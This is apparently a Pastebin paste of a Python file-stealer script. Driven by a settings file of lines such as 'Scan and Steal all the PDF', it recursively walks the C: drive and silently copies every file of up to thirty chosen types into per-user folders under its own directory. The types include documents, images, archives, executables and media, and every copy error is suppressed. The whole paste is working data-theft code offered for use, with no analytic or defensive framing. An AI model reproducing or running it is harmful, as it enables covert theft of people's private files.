Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os, shutil
- import os.path
- import shutil
- from shutil import copyfile
- import getpass
- import os, fnmatch
- import glob, os, shutil
- text_file = open("settings.txt", "r")
- settingslines = text_file.readlines()
- #BoKKeR
- txt_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/TXT/"
- if not os.path.exists(txt_dst):
- os.makedirs(txt_dst)
- pdf_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/PDF/"
- if not os.path.exists(pdf_dst):
- os.makedirs(pdf_dst)
- log_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/LOG/"
- if not os.path.exists(log_dst):
- os.makedirs(log_dst)
- doc_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/DOC/"
- if not os.path.exists(doc_dst):
- os.makedirs(doc_dst)
- docx_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/DOCX/"
- if not os.path.exists(docx_dst):
- os.makedirs(docx_dst)
- rar_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/RAR/"
- if not os.path.exists(rar_dst):
- os.makedirs(rar_dst)
- zip_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/ZIP/"
- if not os.path.exists(zip_dst):
- os.makedirs(zip_dst)
- iso_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/ISO/"
- if not os.path.exists(iso_dst):
- os.makedirs(iso_dst)
- jar_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/JAR/"
- if not os.path.exists(jar_dst):
- os.makedirs(jar_dst)
- jpg_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/JPG/"
- if not os.path.exists(jpg_dst):
- os.makedirs(jpg_dst)
- bmp_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/BMP/"
- if not os.path.exists(bmp_dst):
- os.makedirs(bmp_dst)
- png_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/PNG/"
- if not os.path.exists(png_dst):
- os.makedirs(png_dst)
- gif_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/GIF/"
- if not os.path.exists(gif_dst):
- os.makedirs(gif_dst)
- exe_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/EXE/"
- if not os.path.exists(exe_dst):
- os.makedirs(exe_dst)
- ppt_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/PPT/"
- if not os.path.exists(ppt_dst):
- os.makedirs(ppt_dst)
- pptx_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/PPTX/"
- if not os.path.exists(pptx_dst):
- os.makedirs(pptx_dst)
- avi_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/AVI/"
- if not os.path.exists(avi_dst):
- os.makedirs(avi_dst)
- mp4_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/MP4/"
- if not os.path.exists(mp4_dst):
- os.makedirs(mp4_dst)
- mov_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/MOV/"
- if not os.path.exists(mov_dst):
- os.makedirs(mov_dst)
- flv_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/FLV/"
- if not os.path.exists(flv_dst):
- os.makedirs(flv_dst)
- mpg_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/MPG/"
- if not os.path.exists(mpg_dst):
- os.makedirs(mpg_dst)
- wmv_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/WMV/"
- if not os.path.exists(wmv_dst):
- os.makedirs(wmv_dst)
- mp3_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/MP3/"
- if not os.path.exists(mp3_dst):
- os.makedirs(mp3_dst)
- flac_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/FLAC/"
- if not os.path.exists(flac_dst):
- os.makedirs(flac_dst)
- wma_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/WMA/"
- if not os.path.exists(wma_dst):
- os.makedirs(wma_dst)
- m4a_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/M4A/"
- if not os.path.exists(m4a_dst):
- os.makedirs(m4a_dst)
- wav_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/WAV/"
- if not os.path.exists(wav_dst):
- os.makedirs(wav_dst)
- psd_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/PSD/"
- if not os.path.exists(psd_dst):
- os.makedirs(psd_dst)
- raw_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/RAW/"
- if not os.path.exists(raw_dst):
- os.makedirs(raw_dst)
- apk_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/APK/"
- if not os.path.exists(apk_dst):
- os.makedirs(apk_dst)
- def search(dir, ext):
- for root, dirs, files in os.walk(dir):
- for name in files:
- if fnmatch.fnmatch(name, ext):
- filename = os.path.join(root, name)
- yield filename
- text_file = open("settings.txt", "r")
- settingslines = text_file.readlines()
- if settingslines[0] == "[X] Scan and Steal all the TXT\n":
- for filename in search('C:/', '*.txt'):
- try:
- shutil.copy2(filename, txt_dst)
- except:
- pass
- if settingslines[1] == "[X] Scan and Steal all the PDF\n":
- for filename in search('C:/', '*.pdf'):
- try:
- shutil.copy2(filename, pdf_dst)
- except:
- pass
- if settingslines[2] == "[X] Scan and Steal all the LOG\n":
- for filename in search('C:/', '*.log'):
- try:
- shutil.copy2(filename, log_dst)
- except:
- pass
- if settingslines[3] == "[X] Scan and Steal all the DOC\n":
- for filename in search('C:/', '*.doc'):
- try:
- shutil.copy2(filename, doc_dst)
- except:
- pass
- if settingslines[4] == "[X] Scan and Steal all the DOCX\n":
- for filename in search('C:/', '*.docx'):
- try:
- shutil.copy2(filename, docx_dst)
- except:
- pass
- if settingslines[5] == "[X] Scan and Steal all the RAR\n":
- for filename in search('C:/', '*.rar'):
- try:
- shutil.copy2(filename, rar_dst)
- except:
- pass
- if settingslines[6] == "[X] Scan and Steal all the ZIP\n":
- for filename in search('C:/', '*.zip'):
- try:
- shutil.copy2(filename, zip_dst)
- except:
- pass
- if settingslines[7] == "[X] Scan and Steal all the ISO\n":
- for filename in search('C:/', '*.iso'):
- try:
- shutil.copy2(filename, iso_dst)
- except:
- pass
- if settingslines[8] == "[X] Scan and Steal all the JAR\n":
- for filename in search('C:/', '*.jar'):
- try:
- shutil.copy2(filename, jar_dst)
- except:
- pass
- if settingslines[9] == "[X] Scan and Steal all the JPG\n":
- for filename in search('C:/', '*.jpg'):
- try:
- shutil.copy2(filename, jpg_dst)
- except:
- pass
- if settingslines[10] == "[X] Scan and Steal all the BMP\n":
- for filename in search('C:/', '*.bmp'):
- try:
- shutil.copy2(filename, bmp_dst)
- except:
- pass
- if settingslines[11] == "[X] Scan and Steal all the PNG\n":
- for filename in search('C:/', '*.png'):
- try:
- shutil.copy2(filename, png_dst)
- except:
- pass
- if settingslines[12] == "[X] Scan and Steal all the GIF\n":
- for filename in search('C:/', '*.gif'):
- try:
- shutil.copy2(filename, gif_dst)
- except:
- pass
- if settingslines[13] == "[X] Scan and Steal all the EXE\n":
- for filename in search('C:/', '*.exe'):
- try:
- shutil.copy2(filename, exe_dst)
- except:
- pass
- if settingslines[14] == "[X] Scan and Steal all the PPT\n":
- for filename in search('C:/', '*.ppt'):
- try:
- shutil.copy2(filename, ppt_dst)
- except:
- pass
- if settingslines[15] == "[X] Scan and Steal all the PPTX\n":
- for filename in search('C:/', '*.pptx'):
- try:
- shutil.copy2(filename, pptx_dst)
- except:
- pass
- if settingslines[16] == "[X] Scan and Steal all the AVI\n":
- for filename in search('C:/', '*.avi'):
- try:
- shutil.copy2(filename, avi_dst)
- except:
- pass
- if settingslines[17] == "[X] Scan and Steal all the MP4\n":
- for filename in search('C:/', '*.mp4'):
- try:
- shutil.copy2(filename, mp4_dst)
- except:
- pass
- if settingslines[18] == "[X] Scan and Steal all the MOV\n":
- for filename in search('C:/', '*.mov'):
- try:
- shutil.copy2(filename, mov_dst)
- except:
- pass
- if settingslines[19] == "[X] Scan and Steal all the FLV\n":
- for filename in search('C:/', '*.flv'):
- try:
- shutil.copy2(filename, flv_dst)
- except:
- pass
- if settingslines[20] == "[X] Scan and Steal all the MPG\n":
- for filename in search('C:/', '*.mpg'):
- try:
- shutil.copy2(filename, mpg_dst)
- except:
- pass
- if settingslines[21] == "[X] Scan and Steal all the WMV\n":
- for filename in search('C:/', '*.wmv'):
- try:
- shutil.copy2(filename, wmv_dst)
- except:
- pass
- if settingslines[22] == "[X] Scan and Steal all the MP3\n":
- for filename in search('C:/', '*.mp3'):
- try:
- shutil.copy2(filename, mp3_dst)
- except:
- pass
- if settingslines[23] == "[X] Scan and Steal all the FLAC\n":
- for filename in search('C:/', '*.flac'):
- try:
- shutil.copy2(filename, flac_dst)
- except:
- pass
- if settingslines[24] == "[X] Scan and Steal all the WMA\n":
- for filename in search('C:/', '*.wma'):
- try:
- shutil.copy2(filename, wma_dst)
- except:
- pass
- if settingslines[25] == "[X] Scan and Steal all the M4A\n":
- for filename in search('C:/', '*.m4a'):
- try:
- shutil.copy2(filename, m4a_dst)
- except:
- pass
- if settingslines[26] == "[X] Scan and Steal all the WAV\n":
- for filename in search('C:/', '*.wav'):
- try:
- shutil.copy2(filename, wav_dst)
- except:
- pass
- if settingslines[27] == "[X] Scan and Steal all the PSD\n":
- for filename in search('C:/', '*.psd'):
- try:
- shutil.copy2(filename, psd_dst)
- except:
- pass
- if settingslines[28] == "[X] Scan and Steal all the RAW\n":
- for filename in search('C:/', '*.raw'):
- try:
- shutil.copy2(filename, raw_dst)
- except:
- pass
- if settingslines[29] == "[X] Scan and Steal all the APK\n":
- for filename in search('C:/', '*.apk'):
- try:
- shutil.copy2(filename, apk_dst)
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment